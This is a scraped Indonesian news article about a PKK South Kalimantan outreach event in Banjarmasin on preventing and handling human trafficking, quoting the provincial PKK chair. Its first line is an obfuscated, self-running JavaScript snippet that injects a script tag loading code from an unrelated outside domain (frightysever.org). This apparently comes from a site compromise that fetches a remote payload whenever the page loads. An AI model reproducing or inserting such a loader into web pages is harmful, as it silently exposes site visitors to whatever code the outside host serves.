(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tim Penggerak (TP) PKK Kalimantan Selatan menggelar sosialisasi pencegahan dan penanganan Tindak Pidana Perdagangan Orang (TPPO) di Hotel Zuri Express Banjarmasin, Senin (24/7/2023).
Kegiatan menghadirkan narasumber dari Kepolisian Daerah (Polda) Kalsel, Balai Pelayanan Pelindungan Pekerja Migran Indonesia (BP3MI), dan Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DP3A) Provinsi Kalsel. Sosialisasi diikuti seluruh anggota dan pengurus TP PKK Provinsi Kalsel dan TP PKK Kabupaten/Kota.
Ketua TP PKK Provinsi Kalimantan Selatan Hj Raudatul Jannah pada pembukaan acara sosialisasi mengungkapkan acara ini dalam rangka mengenali dan memberantas tindak pidana perdagangan orang.
Sesuai dengan data BP2MI tahun 2022, di Provinsi Kalimantan Selatan telah dipulangkan sebanyak 7 orang yang diduga korban TPPO yang dijadikan pekerja migran ke Arab Saudi.
Baca juga: Sidang Korupsi Bendungan Tapin, Utang Rp150 Juta Dibayar Rp350 Juta, Mobil Saksi Disita Penyidik
“Melihat kemungkinan terjadinya TPPO di Kalsel ini, saya ingin agar kader PKK dapat lebih sigap dalam mengenali kemungkinan jika ada masyarakat di daerah kita yang terindikasi TPPO,” katanya.
TPPO merupakan bentuk perbudakan modern dan merupakan kejahatan kemanusiaan yang sangat keji serta melanggar hak asasi manusia.
“Kita tentunya tidak ingin ada orang terdekat kita yang mengalami tindak pidana perdagangan orang,” ucapnya.
Untuk itu, dirinya berharap sebagai kader PKK, harus mampu mengidentifikasi jika di lingkungan sekitar terdapat aktivitas mencurigakan terkait perdagangan orang ini yang identik dengan bujukan dan rayuan untuk hidup lebih baik di daerah atau negara lain, dengan gaji yang besar dan kehidupan yang lebih baik menjadi faktor utama yang menarik perhatian korban-korban TPPO.
Baca juga: Penjualan Listrik PLN Semester I Capai 137,12 TWh, Tumbuh 13,07 Persen
“Saya harapkan agar tujuan utama kita dalam mewujudkan kesejahteraan masyarakat dapat terwujud dengan sama-sama mengintegrasikan program-program yang bermanfaat bagi masyarakat secara yang komprehensif dan terkait TPPO ini saya ingin agar edukasi kepada masyarakat terus dilakukan selepas kader-kader PKK pulang dari sosialisasi ini,” pungkasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More
KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More
Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More
This website uses cookies.